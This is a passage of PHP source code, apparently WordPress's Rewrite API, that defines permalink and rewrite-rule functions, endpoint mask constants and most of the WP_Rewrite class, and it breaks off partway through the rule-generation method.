<?php /** * WordPress Rewrite API * * @package WordPress * @subpackage Rewrite */ /** * Add a straight rewrite rule. * * @see WP_Rewrite::add_rule() for long description. * @since 2.1.0 * * @param string $regex Regular Expression to match request against. * @param string $redirect Page to redirect to. * @param string $after Optional, default is 'bottom'. Where to add rule, can also be 'top'. */ function add_rewrite_rule($regex, $redirect, $after = 'bottom') { global $wp_rewrite; $wp_rewrite->add_rule($regex, $redirect, $after); } /** * Add a new rewrite tag (like %postname%). * * The $query parameter is optional. If it is omitted you must ensure that * you call this on, or before, the 'init' hook. This is because $query defaults * to "$tag=", and for this to work a new query var has to be added. * * @see WP_Rewrite::add_rewrite_tag() * @since 2.1.0 * * @param string $tag Name of the new rewrite tag. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query String to append to the rewritten query. Must end in '='. Optional. */ function add_rewrite_tag( $tag, $regex, $query = '' ) { // validate the tag's name if ( strlen( $tag ) < 3 || $tag[0] != '%' || $tag[ strlen($tag) - 1 ] != '%' ) return; global $wp_rewrite, $wp; if ( empty( $query ) ) { $qv = trim( $tag, '%' ); $wp->add_query_var( $qv ); $query = $qv . '='; } $wp_rewrite->add_rewrite_tag( $tag, $regex, $query ); } /** * Add permalink structure. * * @see WP_Rewrite::add_permastruct() * @since 3.0.0 * * @param string $name Name for permalink structure. * @param string $struct Permalink structure. * @param array $args Optional configuration for building the rules from the permalink structure, * see {@link WP_Rewrite::add_permastruct()} for full details. */ function add_permastruct( $name, $struct, $args = array() ) { global $wp_rewrite; // backwards compatibility for the old parameters: $with_front and $ep_mask if ( ! is_array( $args ) ) $args = array( 'with_front' => $args ); if ( func_num_args() == 4 ) $args['ep_mask'] = func_get_arg( 3 ); return $wp_rewrite->add_permastruct( $name, $struct, $args ); } /** * Add a new feed type like /atom1/. * * @since 2.1.0 * * @param string $feedname * @param callback $function Callback to run on feed display. * @return string Feed action name. */ function add_feed($feedname, $function) { global $wp_rewrite; if ( ! in_array($feedname, $wp_rewrite->feeds) ) //override the file if it is $wp_rewrite->feeds[] = $feedname; $hook = 'do_feed_' . $feedname; // Remove default function hook remove_action($hook, $hook, 10, 1); add_action($hook, $function, 10, 1); return $hook; } /** * Remove rewrite rules and then recreate rewrite rules. * * @see WP_Rewrite::flush_rules() * @since 3.0.0 * * @param bool $hard Whether to update .htaccess (hard flush) or just update * rewrite_rules transient (soft flush). Default is true (hard). */ function flush_rewrite_rules( $hard = true ) { global $wp_rewrite; $wp_rewrite->flush_rules( $hard ); } /** * Endpoint Mask for default, which is nothing. * * @since 2.1.0 */ define('EP_NONE', 0); /** * Endpoint Mask for Permalink. * * @since 2.1.0 */ define('EP_PERMALINK', 1); /** * Endpoint Mask for Attachment. * * @since 2.1.0 */ define('EP_ATTACHMENT', 2); /** * Endpoint Mask for date. * * @since 2.1.0 */ define('EP_DATE', 4); /** * Endpoint Mask for year * * @since 2.1.0 */ define('EP_YEAR', 8); /** * Endpoint Mask for month. * * @since 2.1.0 */ define('EP_MONTH', 16); /** * Endpoint Mask for day. * * @since 2.1.0 */ define('EP_DAY', 32); /** * Endpoint Mask for root. * * @since 2.1.0 */ define('EP_ROOT', 64); /** * Endpoint Mask for comments. * * @since 2.1.0 */ define('EP_COMMENTS', 128); /** * Endpoint Mask for searches. * * @since 2.1.0 */ define('EP_SEARCH', 256); /** * Endpoint Mask for categories. * * @since 2.1.0 */ define('EP_CATEGORIES', 512); /** * Endpoint Mask for tags. * * @since 2.3.0 */ define('EP_TAGS', 1024); /** * Endpoint Mask for authors. * * @since 2.1.0 */ define('EP_AUTHORS', 2048); /** * Endpoint Mask for pages. * * @since 2.1.0 */ define('EP_PAGES', 4096); /** * Endpoint Mask for everything. * * @since 2.1.0 */ define('EP_ALL', 8191); /** * Add an endpoint, like /trackback/. * * Adding an endpoint creates extra rewrite rules for each of the matching * places specified by the provided bitmask. For example: * * <code> * add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES ); * </code> * * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct * that describes a permalink (post) or page. This is rewritten to "json=$match" * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in * "<permalink>/json/foo/"). * * A new query var with the same name as the endpoint will also be created. * * When specifying $places ensure that you are using the EP_* constants (or a * combination of them using the bitwise OR operator) as their values are not * guaranteed to remain static (especially EP_ALL). * * Be sure to flush the rewrite rules - flush_rewrite_rules() - when your plugin gets * activated and deactivated. * * @since 2.1.0 * @see WP_Rewrite::add_endpoint() * @global object $wp_rewrite * * @param string $name Name of the endpoint. * @param int $places Endpoint mask describing the places the endpoint should be added. */ function add_rewrite_endpoint( $name, $places ) { global $wp_rewrite; $wp_rewrite->add_endpoint( $name, $places ); } /** * Filter the URL base for taxonomies. * * To remove any manually prepended /index.php/. * * @access private * @since 2.6.0 * * @param string $base The taxonomy base that we're going to filter * @return string */ function _wp_filter_taxonomy_base( $base ) { if ( !empty( $base ) ) { $base = preg_replace( '|^/index\.php/|', '', $base ); $base = trim( $base, '/' ); } return $base; } /** * Examine a url and try to determine the post ID it represents. * * Checks are supposedly from the hosted site blog. * * @since 1.0.0 * * @param string $url Permalink to check. * @return int Post ID, or 0 on failure. */ function url_to_postid($url) { global $wp_rewrite; $url = apply_filters('url_to_postid', $url); // First, check to see if there is a 'p=N' or 'page_id=N' to match against if ( preg_match('#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values) ) { $id = absint($values[2]); if ( $id ) return $id; } // Check to see if we are using rewrite rules $rewrite = $wp_rewrite->wp_rewrite_rules(); // Not using rewrite rules, and 'p=N' and 'page_id=N' methods failed, so we're out of options if ( empty($rewrite) ) return 0; // Get rid of the #anchor $url_split = explode('#', $url); $url = $url_split[0]; // Get rid of URL ?query=string $url_split = explode('?', $url); $url = $url_split[0]; // Add 'www.' if it is absent and should be there if ( false !== strpos(home_url(), '://www.') && false === strpos($url, '://www.') ) $url = str_replace('://', '://www.', $url); // Strip 'www.' if it is present and shouldn't be if ( false === strpos(home_url(), '://www.') ) $url = str_replace('://www.', '://', $url); // Strip 'index.php/' if we're not using path info permalinks if ( !$wp_rewrite->using_index_permalinks() ) $url = str_replace('index.php/', '', $url); if ( false !== strpos($url, home_url()) ) { // Chop off http://domain.com $url = str_replace(home_url(), '', $url); } else { // Chop off /path/to/blog $home_path = parse_url(home_url()); $home_path = isset( $home_path['path'] ) ? $home_path['path'] : '' ; $url = str_replace($home_path, '', $url); } // Trim leading and lagging slashes $url = trim($url, '/'); $request = $url; // Look for matches. $request_match = $request; foreach ( (array)$rewrite as $match => $query) { // If the requesting file is the anchor of the match, prepend it // to the path info. if ( !empty($url) && ($url != $request) && (strpos($match, $url) === 0) ) $request_match = $url . '/' . $request; if ( preg_match("!^$match!", $request_match, $matches) ) { if ( $wp_rewrite->use_verbose_page_rules && preg_match( '/pagename=\$matches\[([0-9]+)\]/', $query, $varmatch ) ) { // this is a verbose page match, lets check to be sure about it if ( ! get_page_by_path( $matches[ $varmatch[1] ] ) ) continue; } // Got a match. // Trim the query of everything up to the '?'. $query = preg_replace("!^.+\?!", '', $query); // Substitute the substring matches into the query. $query = addslashes(WP_MatchesMapRegex::apply($query, $matches)); // Filter out non-public query vars global $wp; parse_str($query, $query_vars); $query = array(); foreach ( (array) $query_vars as $key => $value ) { if ( in_array($key, $wp->public_query_vars) ) $query[$key] = $value; } // Do the query $query = new WP_Query($query); if ( !empty($query->posts) && $query->is_singular ) return $query->post->ID; else return 0; } } return 0; } /** * WordPress Rewrite Component. * * The WordPress Rewrite class writes the rewrite module rules to the .htaccess * file. It also handles parsing the request to get the correct setup for the * WordPress Query class. * * The Rewrite along with WP class function as a front controller for WordPress. * You can add rules to trigger your page view and processing using this * component. The full functionality of a front controller does not exist, * meaning you can't define how the template files load based on the rewrite * rules. * * @since 1.5.0 */ class WP_Rewrite { /** * Permalink structure for posts. * * @since 1.5.0 * @access private * @var string */ var $permalink_structure; /** * Whether to add trailing slashes. * * @since 2.2.0 * @access private * @var bool */ var $use_trailing_slashes; /** * Base for the author permalink structure (example.com/$author_base/authorname). * * @since 1.5.0 * @access private * @var string */ var $author_base = 'author'; /** * Permalink structure for author archives. * * @since 1.5.0 * @access private * @var string */ var $author_structure; /** * Permalink structure for date archives. * * @since 1.5.0 * @access private * @var string */ var $date_structure; /** * Permalink structure for pages. * * @since 1.5.0 * @access private * @var string */ var $page_structure; /** * Base of the search permalink structure (example.com/$search_base/query). * * @since 1.5.0 * @access private * @var string */ var $search_base = 'search'; /** * Permalink structure for searches. * * @since 1.5.0 * @access private * @var string */ var $search_structure; /** * Comments permalink base. * * @since 1.5.0 * @access private * @var string */ var $comments_base = 'comments'; /** * Pagination permalink base. * * @since 3.1.0 * @access private * @var string */ var $pagination_base = 'page'; /** * Feed permalink base. * * @since 1.5.0 * @access private * @var string */ var $feed_base = 'feed'; /** * Comments feed permalink structure. * * @since 1.5.0 * @access private * @var string */ var $comments_feed_structure; /** * Feed request permalink structure. * * @since 1.5.0 * @access private * @var string */ var $feed_structure; /** * The static portion of the post permalink structure. * * If the permalink structure is "/archive/%post_id%" then the front * is "/archive/". If the permalink structure is "/%year%/%postname%/" * then the front is "/". * * @see WP_Rewrite::init() * @since 1.5.0 * @access private * @var string */ var $front; /** * The prefix for all permalink structures. * * If PATHINFO/index permalinks are in use then the root is the value of * {@link WP_Rewrite::$index} with a trailing slash appended. Otherwise * the root will be empty. * * @see WP_Rewrite::init() * @see WP_Rewrite::using_index_permalinks() * @since 1.5.0 * @access private * @var string */ var $root = ''; /** * The name of the index file which is the entry point to all requests. * * @since 1.5.0 * @access public * @var string */ var $index = 'index.php'; /** * Variable name to use for regex matches in the rewritten query. * * @since 1.5.0 * @access private * @var string */ var $matches = ''; /** * Rewrite rules to match against the request to find the redirect or query. * * @since 1.5.0 * @access private * @var array */ var $rules; /** * Additional rules added external to the rewrite class. * * Those not generated by the class, see add_rewrite_rule(). * * @since 2.1.0 * @access private * @var array */ var $extra_rules = array(); /** * Additional rules that belong at the beginning to match first. * * Those not generated by the class, see add_rewrite_rule(). * * @since 2.3.0 * @access private * @var array */ var $extra_rules_top = array(); /** * Rules that don't redirect to WordPress' index.php. * * These rules are written to the mod_rewrite portion of the .htaccess, * and are added by {@link add_external_rule()}. * * @since 2.1.0 * @access private * @var array */ var $non_wp_rules = array(); /** * Extra permalink structures, e.g. categories, added by {@link add_permastruct()}. * * @since 2.1.0 * @access private * @var array */ var $extra_permastructs = array(); /** * Endpoints (like /trackback/) added by {@link add_rewrite_endpoint()}. * * @since 2.1.0 * @access private * @var array */ var $endpoints; /** * Whether to write every mod_rewrite rule for WordPress into the .htaccess file. * * This is off by default, turning it on might print a lot of rewrite rules * to the .htaccess file. * * @see WP_Rewrite::mod_rewrite_rules() * @since 2.0.0 * @access public * @var bool */ var $use_verbose_rules = false; /** * Could post permalinks be confused with those of pages? * * If the first rewrite tag in the post permalink structure is one that could * also match a page name (e.g. %postname% or %author%) then this flag is * set to true. Prior to WordPress 3.3 this flag indicated that every page * would have a set of rules added to the top of the rewrite rules array. * Now it tells {@link WP::parse_request()} to check if a URL matching the * page permastruct is actually a page before accepting it. * * @link http://core.trac.wordpress.org/ticket/16687 * @see WP_Rewrite::init() * @since 2.5.0 * @access public * @var bool */ var $use_verbose_page_rules = true; /** * Rewrite tags that can be used in permalink structures. * * These are translated into the regular expressions stored in * {@link WP_Rewrite::$rewritereplace} and are rewritten to the * query variables listed in {@link WP_Rewrite::$queryreplace}. * * Additional tags can be added with {@link add_rewrite_tag()}. * * @since 1.5.0 * @access private * @var array */ var $rewritecode = array( '%year%', '%monthnum%', '%day%', '%hour%', '%minute%', '%second%', '%postname%', '%post_id%', '%author%', '%pagename%', '%search%' ); /** * Regular expressions to be substituted into rewrite rules in place * of rewrite tags, see {@link WP_Rewrite::$rewritecode}. * * @since 1.5.0 * @access private * @var array */ var $rewritereplace = array( '([0-9]{4})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([0-9]{1,2})', '([^/]+)', '([0-9]+)', '([^/]+)', '([^/]+?)', '(.+)' ); /** * Query variables that rewrite tags map to, see {@link WP_Rewrite::$rewritecode}. * * @since 1.5.0 * @access private * @var array */ var $queryreplace = array( 'year=', 'monthnum=', 'day=', 'hour=', 'minute=', 'second=', 'name=', 'p=', 'author_name=', 'pagename=', 's=' ); /** * Supported default feeds. * * @since 1.5.0 * @access private * @var array */ var $feeds = array( 'feed', 'rdf', 'rss', 'rss2', 'atom' ); /** * Whether permalinks are being used. * * This can be either rewrite module or permalink in the HTTP query string. * * @since 1.5.0 * @access public * * @return bool True, if permalinks are enabled. */ function using_permalinks() { return ! empty($this->permalink_structure); } /** * Whether permalinks are being used and rewrite module is not enabled. * * Means that permalink links are enabled and index.php is in the URL. * * @since 1.5.0 * @access public * * @return bool */ function using_index_permalinks() { if ( empty($this->permalink_structure) ) return false; // If the index is not in the permalink, we're using mod_rewrite. if ( preg_match('#^/*' . $this->index . '#', $this->permalink_structure) ) return true; return false; } /** * Whether permalinks are being used and rewrite module is enabled. * * Using permalinks and index.php is not in the URL. * * @since 1.5.0 * @access public * * @return bool */ function using_mod_rewrite_permalinks() { if ( $this->using_permalinks() && ! $this->using_index_permalinks() ) return true; else return false; } /** * Index for matches for usage in preg_*() functions. * * The format of the string is, with empty matches property value, '$NUM'. * The 'NUM' will be replaced with the value in the $number parameter. With * the matches property not empty, the value of the returned string will * contain that value of the matches property. The format then will be * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the * value of the $number parameter. * * @since 1.5.0 * @access public * * @param int $number Index number. * @return string */ function preg_index($number) { $match_prefix = '$'; $match_suffix = ''; if ( ! empty($this->matches) ) { $match_prefix = '$' . $this->matches . '['; $match_suffix = ']'; } return "$match_prefix$number$match_suffix"; } /** * Retrieve all page and attachments for pages URIs. * * The attachments are for those that have pages as parents and will be * retrieved. * * @since 2.5.0 * @access public * * @return array Array of page URIs as first element and attachment URIs as second element. */ function page_uri_index() { global $wpdb; //get pages in order of hierarchy, i.e. children after parents $posts = get_page_hierarchy( $wpdb->get_results("SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page' AND post_status != 'auto-draft'") ); // If we have no pages get out quick if ( !$posts ) return array( array(), array() ); //now reverse it, because we need parents after children for rewrite rules to work properly $posts = array_reverse($posts, true); $page_uris = array(); $page_attachment_uris = array(); foreach ( $posts as $id => $post ) { // URL => page name $uri = get_page_uri($id); $attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id )); if ( !empty($attachments) ) { foreach ( $attachments as $attachment ) { $attach_uri = get_page_uri($attachment->ID); $page_attachment_uris[$attach_uri] = $attachment->ID; } } $page_uris[$uri] = $id; } return array( $page_uris, $page_attachment_uris ); } /** * Retrieve all of the rewrite rules for pages. * * @since 1.5.0 * @access public * * @return array */ function page_rewrite_rules() { // the extra .? at the beginning prevents clashes with other regular expressions in the rules array $this->add_rewrite_tag( '%pagename%', '(.?.+?)', 'pagename=' ); return $this->generate_rewrite_rules( $this->get_page_permastruct(), EP_PAGES, true, true, false, false ); } /** * Retrieve date permalink structure, with year, month, and day. * * The permalink structure for the date, if not set already depends on the * permalink structure. It can be one of three formats. The first is year, * month, day; the second is day, month, year; and the last format is month, * day, year. These are matched against the permalink structure for which * one is used. If none matches, then the default will be used, which is * year, month, day. * * Prevents post ID and date permalinks from overlapping. In the case of * post_id, the date permalink will be prepended with front permalink with * 'date/' before the actual permalink to form the complete date permalink * structure. * * @since 1.5.0 * @access public * * @return bool|string False on no permalink structure. Date permalink structure. */ function get_date_permastruct() { if ( isset($this->date_structure) ) return $this->date_structure; if ( empty($this->permalink_structure) ) { $this->date_structure = ''; return false; } // The date permalink must have year, month, and day separated by slashes. $endians = array('%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%'); $this->date_structure = ''; $date_endian = ''; foreach ( $endians as $endian ) { if ( false !== strpos($this->permalink_structure, $endian) ) { $date_endian= $endian; break; } } if ( empty($date_endian) ) $date_endian = '%year%/%monthnum%/%day%'; // Do not allow the date tags and %post_id% to overlap in the permalink // structure. If they do, move the date tags to $front/date/. $front = $this->front; preg_match_all('/%.+?%/', $this->permalink_structure, $tokens); $tok_index = 1; foreach ( (array) $tokens[0] as $token) { if ( '%post_id%' == $token && ($tok_index <= 3) ) { $front = $front . 'date/'; break; } $tok_index++; } $this->date_structure = $front . $date_endian; return $this->date_structure; } /** * Retrieve the year permalink structure without month and day. * * Gets the date permalink structure and strips out the month and day * permalink structures. * * @since 1.5.0 * @access public * * @return bool|string False on failure. Year structure on success. */ function get_year_permastruct() { $structure = $this->get_date_permastruct(); if ( empty($structure) ) return false; $structure = str_replace('%monthnum%', '', $structure); $structure = str_replace('%day%', '', $structure); $structure = preg_replace('#/+#', '/', $structure); return $structure; } /** * Retrieve the month permalink structure without day and with year. * * Gets the date permalink structure and strips out the day permalink * structures. Keeps the year permalink structure. * * @since 1.5.0 * @access public * * @return bool|string False on failure. Year/Month structure on success. */ function get_month_permastruct() { $structure = $this->get_date_permastruct(); if ( empty($structure) ) return false; $structure = str_replace('%day%', '', $structure); $structure = preg_replace('#/+#', '/', $structure); return $structure; } /** * Retrieve the day permalink structure with month and year. * * Keeps date permalink structure with all year, month, and day. * * @since 1.5.0 * @access public * * @return bool|string False on failure. Year/Month/Day structure on success. */ function get_day_permastruct() { return $this->get_date_permastruct(); } /** * Retrieve the permalink structure for categories. * * If the category_base property has no value, then the category structure * will have the front property value, followed by 'category', and finally * '%category%'. If it does, then the root property will be used, along with * the category_base property value. * * @since 1.5.0 * @access public * * @return bool|string False on failure. Category permalink structure. */ function get_category_permastruct() { return $this->get_extra_permastruct('category'); } /** * Retrieve the permalink structure for tags. * * If the tag_base property has no value, then the tag structure will have * the front property value, followed by 'tag', and finally '%tag%'. If it * does, then the root property will be used, along with the tag_base * property value. * * @since 2.3.0 * @access public * * @return bool|string False on failure. Tag permalink structure. */ function get_tag_permastruct() { return $this->get_extra_permastruct('post_tag'); } /** * Retrieve extra permalink structure by name. * * @since 2.5.0 * @access public * * @param string $name Permalink structure name. * @return string|bool False if not found. Permalink structure string. */ function get_extra_permastruct($name) { if ( empty($this->permalink_structure) ) return false; if ( isset($this->extra_permastructs[$name]) ) return $this->extra_permastructs[$name]['struct']; return false; } /** * Retrieve the author permalink structure. * * The permalink structure is front property, author base, and finally * '/%author%'. Will set the author_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * @access public * * @return string|bool False if not found. Permalink structure string. */ function get_author_permastruct() { if ( isset($this->author_structure) ) return $this->author_structure; if ( empty($this->permalink_structure) ) { $this->author_structure = ''; return false; } $this->author_structure = $this->front . $this->author_base . '/%author%'; return $this->author_structure; } /** * Retrieve the search permalink structure. * * The permalink structure is root property, search base, and finally * '/%search%'. Will set the search_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * @access public * * @return string|bool False if not found. Permalink structure string. */ function get_search_permastruct() { if ( isset($this->search_structure) ) return $this->search_structure; if ( empty($this->permalink_structure) ) { $this->search_structure = ''; return false; } $this->search_structure = $this->root . $this->search_base . '/%search%'; return $this->search_structure; } /** * Retrieve the page permalink structure. * * The permalink structure is root property, and '%pagename%'. Will set the * page_structure property and then return it without attempting to set the * value again. * * @since 1.5.0 * @access public * * @return string|bool False if not found. Permalink structure string. */ function get_page_permastruct() { if ( isset($this->page_structure) ) return $this->page_structure; if (empty($this->permalink_structure)) { $this->page_structure = ''; return false; } $this->page_structure = $this->root . '%pagename%'; return $this->page_structure; } /** * Retrieve the feed permalink structure. * * The permalink structure is root property, feed base, and finally * '/%feed%'. Will set the feed_structure property and then return it * without attempting to set the value again. * * @since 1.5.0 * @access public * * @return string|bool False if not found. Permalink structure string. */ function get_feed_permastruct() { if ( isset($this->feed_structure) ) return $this->feed_structure; if ( empty($this->permalink_structure) ) { $this->feed_structure = ''; return false; } $this->feed_structure = $this->root . $this->feed_base . '/%feed%'; return $this->feed_structure; } /** * Retrieve the comment feed permalink structure. * * The permalink structure is root property, comment base property, feed * base and finally '/%feed%'. Will set the comment_feed_structure property * and then return it without attempting to set the value again. * * @since 1.5.0 * @access public * * @return string|bool False if not found. Permalink structure string. */ function get_comment_feed_permastruct() { if ( isset($this->comment_feed_structure) ) return $this->comment_feed_structure; if (empty($this->permalink_structure)) { $this->comment_feed_structure = ''; return false; } $this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%'; return $this->comment_feed_structure; } /** * Add or update existing rewrite tags (e.g. %postname%). * * If the tag already exists, replace the existing pattern and query for * that tag, otherwise add the new tag. * * @see WP_Rewrite::$rewritecode * @see WP_Rewrite::$rewritereplace * @see WP_Rewrite::$queryreplace * @since 1.5.0 * @access public * * @param string $tag Name of the rewrite tag to add or update. * @param string $regex Regular expression to substitute the tag for in rewrite rules. * @param string $query String to append to the rewritten query. Must end in '='. */ function add_rewrite_tag( $tag, $regex, $query ) { $position = array_search( $tag, $this->rewritecode ); if ( false !== $position && null !== $position ) { $this->rewritereplace[ $position ] = $regex; $this->queryreplace[ $position ] = $query; } else { $this->rewritecode[] = $tag; $this->rewritereplace[] = $regex; $this->queryreplace[] = $query; } } /** * Generate rewrite rules from a permalink structure. * * The main WP_Rewrite function for building the rewrite rule list. The * contents of the function is a mix of black magic and regular expressions, * so best just ignore the contents and move to the parameters. * * @since 1.5.0 * @access public * * @param string $permalink_structure The permalink structure. * @param int $ep_mask Endpoint mask defining what endpoints are added to the structure. Default is EP_NONE. * @param bool $paged Should archive pagination rules be added for the structure? Default is true. * @param bool $feed Should feed rewrite rules be added for the structure? Default is true. * @param bool $forcomments Should the feed rules be a query for a comments feed? Default is false. * @param bool $walk_dirs Should the 'directories' making up the structure be walked over and rewrite rules * built for each in turn? Default is true. * @param bool $endpoints Should endpoints be applied to the generated rewrite rules? Default is true. * @return array Rewrite rule list. */ function generate_rewrite_rules($permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true) { //build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/? $feedregex2 = ''; foreach ( (array) $this->feeds as $feed_name) $feedregex2 .= $feed_name . '|'; $feedregex2 = '(' . trim($feedregex2, '|') . ')/?$'; //$feedregex is identical but with /feed/ added on as well, so URLs like <permalink>/feed/atom //and <permalink>/atom are both possible $feedregex = $this->feed_base . '/' . $feedregex2; //build a regex to match the trackback and page/xx parts of URLs $trackbackregex = 'trackback/?$'; $pageregex = $this->pagination_base . '/?([0-9]{1,})/?$'; $commentregex = 'comment-page-([0-9]{1,})/?$'; //build up an array of endpoint regexes to append => queries to append if ( $endpoints ) { $ep_query_append = array (); foreach ( (array) $this->endpoints as $endpoint) { //match everything after the endpoint name, but allow for nothing to appear there $epmatch = $endpoint[1] . '(/(.*))?/?$'; //this will be appended on to the rest of the query for each dir $epquery = '&' . $endpoint[1] . '='; $ep_query_append[$epmatch] = array ( $endpoint[0], $epquery ); } } //get everything up to the first rewrite tag $front = substr($permalink_structure, 0, strpos($permalink_structure, '%')); //build an array of the tags (note that said array ends up being in $tokens[0]) preg_match_all('/%.+?%/', $permalink_structure, $tokens); $num_tokens = count($tokens[0]); $index = $this->index; //probably 'index.php' $feedindex = $index; $trackbackindex = $index; //build a list from the rewritecode and queryreplace arrays, that will look something like //tagname=$matches[i] where i is the current $i for ( $i = 0; $i < $num_tokens; ++$i ) { if ( 0 < $i ) $queries[$i] = $queries[$i - 1] . '&'; else $queries[$i] = ''; $query_token = str_replace($this->rewritecode, $this->queryreplace, $tokens[0][$i]) . $this->preg_index($i+1); $queries[$i] .= $query_token; } //get the structure, minus any cruft (stuff that isn't tags) at the front $structure = $permalink_structure; if ( $front != '/' ) $structure = str_replace($front, '', $structure); //create a list of dirs to walk over, making rewrite rules for each level //so for example, a $structure of /%year%/%monthnum%/%postname% would create //rewrite rules for /%year%/, /%year%/%monthnum%/ and /%year%/%monthnum%/%postname% $structure = trim($structure, '/'); $dirs = $walk_dirs ? explode('/', $structure) : array( $structure ); $num_dirs = count($dirs); //strip slashes from the front of $front $front = preg_replace('|^/+|', '', $front); //the main workhorse loop $post_rewrite = array(); $struct = $front; for ( $j = 0; $j < $num_dirs; ++$j ) { //get the struct for this dir, and trim slashes off the front $struct .= $dirs[$j] . '/'; //accumulate. see comment near explode('/', $structure) above $struct = ltrim($struct, '/'); //replace tags with regexes $match = str_replace($this->rewritecode, $this->rewritereplace, $struct); //make a list of tags, and store how many there are in $num_toks $num_toks = preg_match_all('/%.+?%/', $struct, $toks); //get the 'tagname=$matches[i]' $query = ( isset($queries) && is_array($queries) && !empty($num_toks) ) ? $queries[$num_toks - 1] : ''; //set up $ep_mask_specific which is used to match more specific URL types switch ( $dirs[$j] ) { case '%year%': $ep_mask_specific = EP_YEAR; break; case '%monthnum%': $ep_mask_specific = EP_MONTH; break; case '%day%': $ep_mask_specific = EP_DAY; break; default: $ep_mask_specific = EP_NONE; } //create query for /page/xx $pagematch = $match . $pageregex; $pagequery = $index . '?' . $query . '&paged=' . $this->preg_index($num_toks + 1); //create query for /comment-page-xx $commentmatch = $match . $commentregex; $commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index($num_toks + 1); if ( get_option('page_on_front') ) { //create query for Root /comment-page-xx $rootcommentmatch = $match . $commentregex; $rootcommentquery = $index . '?' . $query . '&page_id=' . get_option('page_on_front') . '&cpage=' . $this->preg_index($num_toks + 1); } //create query for /feed/(feed|atom|rss|rss2|rdf) $feedmatch = $match . $feedregex; $feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1); //create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex) $feedmatch2 = $match . $feedregex2; $feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1); //if asked to, turn the feed queries into comment feed ones if ( $forcomments ) { $feedquery .= '&withcomments=1'; $feedquery2 .= '&withcomments=1'; } //start creating the array of rewrites for this dir $rewrite = array(); if ( $feed ) //...adding on /feed/ regexes => queries $rewrite = array($feedmatch => $feedquery, $feedmatch2 => $feedquery2); if ( $paged ) //...and /page/xx ones $rewrite = array_merge($rewrite, array($pagematch => $pagequery)); //only on pages with comments add ../comment-page-xx/ if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask ) $rewrite = array_merge($rewrite, array($commentmatch => $commentquery)); else if ( EP_ROOT & $ep_mask && get_option('page_on_front') ) $rewrite = array_merge($rewrite, array($rootcommentmatch => $rootcommentquery)); //do endpoints if ( $endpoints ) { foreach ( (array) $ep_query_append as $regex => $ep) { //add the endpoints on if the mask fits if ( $ep[0] & $ep_mask || $ep[0] & $ep_mask_specific ) $rewrite[$match . $regex] = $index . '?' . $query . $ep[1] . $this->preg_index($num_toks + 2); } } //if we've got some tags in this dir if ( $num_toks ) { $post = false; $page = false; //check to see if this dir is permalink-level: i.e. the structure specifies an //individual post. Do this by checking it contains at least one of 1) post name, //2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and //minute all present). Set these flags now as we need them for the endpoints. if ( strpos($struct, '%postname%') !== false || strpos($struct, '%post_id%') !== false || strpos($struct, '%pagename%') !== false || (strpos($struct, '%year%') !== false && strpos($struct, '%monthnum%') !== false && strpos($struct, '%day%') !== false && strpos($struct, '%hour%') !== false && strpos($struct, '%minute%') !== false && strpos($struct, '%second%') !== false) ) { $post = true; if ( strpos($struct, '%pagename%') !== false ) $page = true; } if ( ! $post ) { // For custom post types, we need to add on endpoints as well. foreach ( get_post_types( array('_builtin' => false ) ) as $ptype ) { if ( strpos($struct, "%$ptype%") !== false ) { $post = true; $page = is_post_type_hierarchical( $ptype ); // This is for page style attachment url's break; } } } //if we're creating rules for a permalink, do all the endpoints like attachments etc if ( $post ) { //create query and regex for trackback $trackbackmatch = $match . $trackbackregex; $trackbackquery = $trackbackindex . '?' . $query . '&tb=1'; //trim slashes from the end of the regex for this dir $match = rtrim($match, '/'); //get rid of brackets $submatchbase = str_replace( array('(', ')'), '', $match); //add a rule for at attachments, which take the form of <permalink>/some-text $sub1 = $submatchbase . '/([^/]+)/'; $sub1tb = $sub1 . $trackbackregex; //add trackback regex <permalink>/trackback/... $sub1feed = $sub1 . $feedregex; //and <permalink>/feed/(atom|...) $sub1feed2 = $sub1 . $feedregex2; //and <permalink>/(feed|atom...) $sub1comment = $sub1 . $commentregex; //and <permalink>/comment-page-xx //add another rule to match attachments in the explicit form: //<permalink>/attachment/some-text $sub2 = $submatchbase . '/attachment/([^/]+)/'; $sub2tb = $sub2 . $trackbackregex; //and add trackbacks <permalink>/attachment/trackback $sub2feed = $sub2 . $feedregex; //feeds, <permalink>/attachment/feed/(atom|...) $sub2feed2 = $sub2 . $feedregex2; //and feeds again on to this <permalink>/attachment/(feed|atom...) $sub2comment = $sub2 . $commentregex; //and <permalink>/comment-page-xx //create queries for these extra tag-ons we've just dealt with $subquery = $index . '?attachment=' . $this->preg_index(1); $subtbquery = $subquery . '&tb=1'; $subfeedquery = $subquery . '&feed=' . $this->preg_index(2); $subcommentquery = $subquery . '&cpage=' . $this->preg_index(2); //do endpoints for attachments if ( !empty($endpoints) ) { foreach ( (array) $ep_query_append as $regex => $ep ) { if ( $ep[0] & EP_ATTACHMENT ) { $rewrite[$sub1 . $regex] = $subquery . $ep[1] . $this->preg_index(2); $rewrite[$sub2 . $regex] = $subquery . $ep[1] . $this->preg_index(2); } } } //now we've finished with endpoints, finish off the $sub1 and $sub2 matches //add a ? as we don't have to match that last slash, and finally a $ so we //match to the end of the URL $sub1 .= '?$'; $sub2 .= 